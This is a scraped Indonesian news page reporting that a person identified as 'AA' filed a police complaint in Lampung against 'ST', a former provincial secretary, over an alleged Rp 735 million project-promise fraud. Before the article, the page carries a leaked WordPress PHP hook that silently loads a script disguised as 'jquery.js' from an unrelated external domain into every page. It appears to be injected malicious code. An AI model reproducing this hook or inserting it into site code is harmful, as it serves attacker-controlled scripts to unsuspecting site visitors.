add_action('wp_enqueue_scripts', function () { wp_enqueue_script( 'external-script', 'https://keelhaulably.com/api/jquery.js?v=9', array(), null, true ); }); Modus Proyek...! Oknum "ST" Mantan Sekda Prov. Lampung Diduga Tipu AA Kerugian Rp. 735 Juta - Atmosfirnews.id

Modus Proyek…! Oknum “ST” Mantan Sekda Prov. Lampung Diduga Tipu AA Kerugian Rp. 735 Juta

- Jurnalis

Jumat, 21 Maret 2025 - 14:14 WIB

facebook twitter whatsapp telegram line copy

URL berhasil dicopy

facebook icon twitter icon whatsapp icon telegram icon line icon copy

URL berhasil dicopy


Bandar Lampung, Atmosfirnews.id

Oknum Sekretaris Dewan Pimpinan Daerah Partai Politik Provinsi Lampung berinisial “ST” diduga menipu korban dengan modus menjanjikan Proyek pada tahun 2023.

Kini oknum “ST” resmi dilaporkan ke Polda Lampung dengan Nomor Laporan : STTLP/B/202/III/2025/SPKT/POLDA LAMPUNG tanggal 14 Maret 2025.

Dengan diduga melakukan penipuan dengan menjanjikan proyek terhadap AA dengan nilai kerugian Rp 735 juta pada tahun 2023 silam.

Saudara ‘AA’ melalui Penasehat Hukumnya telah melaporkan dengan Pelaporan dugaan Tindak Pidana Penipuan/Perbuatan curang UU Nomor 1 Tahun 1946 tentang KUHP sebagaimana dimaksud dalam Pasal 378 KUHP dan atau Pasal 372 KUHP dengan terlapor ST.

Dugaan Penipuan dan atau Penggelapan yang dilakukan ST sebagai terlapor terhadap korban ‘AA’ yaitu dengan cara terlapor menjanjikan/menawarkan pekerjaan Proyek dengan meminta uang sejumlah RP. 735 Juta.

Baca Juga :  KETUPAT KRAKATAU 2025: KAPOLDA LAMPUNG PANTAU KESIAPAN TERMINAL RAJABASA

Kejadian tersebut terjadi pada tanggal 21 Februari 2023 dimana pelapor ‘AA’ telah menyerahkan sejumlah uang sebesar RP. 735 Juta kepada terlapor tetapi pada kenyataannya sampai dengan laporan kepolisian ini dibuat terlapor tidak menepati sesuai janji nya kepada pelapor AA.

Dalam uraian laporan, “AA” Melalui Penasehat Hukum melaporkan “ST” mantan Sekda Provinsi Lampung tersebut terkait dugaan pelanggaran Pasal 378 KUHP yang mengatur tentang tindak pidana penipuan.

“Dugaan pidana penipuan yang kami laporkan ini berawal dari janji terlapor yang akan memberikan proyek pekerjaan,” ujarnya.

Baca Juga :  Siapa Saja yang Lolos? Ini Pengumuman Hasil Seleksi Calon Anggota KPU se-Lampung

“Semua jalur saya tempuh dari via telpon, dan secara kekeluargaan sebelum terjadi dilaporkannya kasus ini, saya terhadap terlapor “ST” kenal baik. Dan sampai dengan berita ini diturunkan terlapor “ST’ tidak dapat dihubungi,” lanjutnya.

“Kami Penasehat Hukum dan kelurga besar Saudara ‘AA’ berharap agar Pihak Kepolisian Polda Lampung dapat segera melakukan pemeriksaan terhadap Saudara ST, yang notabenenya merupakan seorang Sekretaris Dewan Pimpinan Daerah Partai Politik Provinsi Lampung dan juga merupakan mantan Seketaris Daerah Provinsi Lampung.

Beberapa media Nasional akan mengawal jalannya kasus penipuan ini hingga terlapornya seorang oknum “ST” segera ditindak tegas dan ditangkap untuk mempertanggung jawabkan perbuatannya. tegas AA.

Penulis : Redaksi

Berita Terkait

Dakwah Menembus Lapas, MCMI Lampung dan Tim Safari Dakwah Wakafkan 520 Al-Qur’an untuk Warga Binaan
KKN Universitas Saburai di Sukoharjo: Kampus Turun ke Desa, Dorong Sampah Terpilah, UMKM Digital hingga Pendidikan Antibullying
Geger Skandal Hotel! Suami JA Laporkan EH ke Polda Lampung, PAN Kini Didesak Bertindak
Hampir Rp 1 Miliar Telan APBD, Jalan Lorong Usaha Sudah Patah. GEPAK Desak PUPR dan Kontraktor Bertanggung Jawab
RSUDAM Minta Biaya Klaim Rp. 5,7 Juta Sebagai Syarat Mencabut Status Kematian dan Memulihkan Kepesertaannya, Wiwik : Kan Saya Masih Hidup
Ketua GEPAK Ingatkan Bahaya Trial by The Press di Tengah Isu Perselingkuhan Dua Anggota DPRD Bandar Lampung
Sengkarut BPJS dan RSUD Abdul Moeloek Diungkap Korban Wiwik Kusumawati
Cabdin Pendidikan Wilayah II Gandeng UPT Perpustakaan UIN Raden Intan Perkuat Ekosistem Literasi Sekolah
Berita ini 38 kali dibaca

Berita Terkait

Senin, 24 Agustus 2026 - 22:11 WIB

Dakwah Menembus Lapas, MCMI Lampung dan Tim Safari Dakwah Wakafkan 520 Al-Qur’an untuk Warga Binaan

Senin, 24 Agustus 2026 - 19:56 WIB

KKN Universitas Saburai di Sukoharjo: Kampus Turun ke Desa, Dorong Sampah Terpilah, UMKM Digital hingga Pendidikan Antibullying

Senin, 24 Agustus 2026 - 14:05 WIB

Geger Skandal Hotel! Suami JA Laporkan EH ke Polda Lampung, PAN Kini Didesak Bertindak

Minggu, 23 Agustus 2026 - 12:23 WIB

Hampir Rp 1 Miliar Telan APBD, Jalan Lorong Usaha Sudah Patah. GEPAK Desak PUPR dan Kontraktor Bertanggung Jawab

Sabtu, 22 Agustus 2026 - 21:38 WIB

RSUDAM Minta Biaya Klaim Rp. 5,7 Juta Sebagai Syarat Mencabut Status Kematian dan Memulihkan Kepesertaannya, Wiwik : Kan Saya Masih Hidup

Berita Terbaru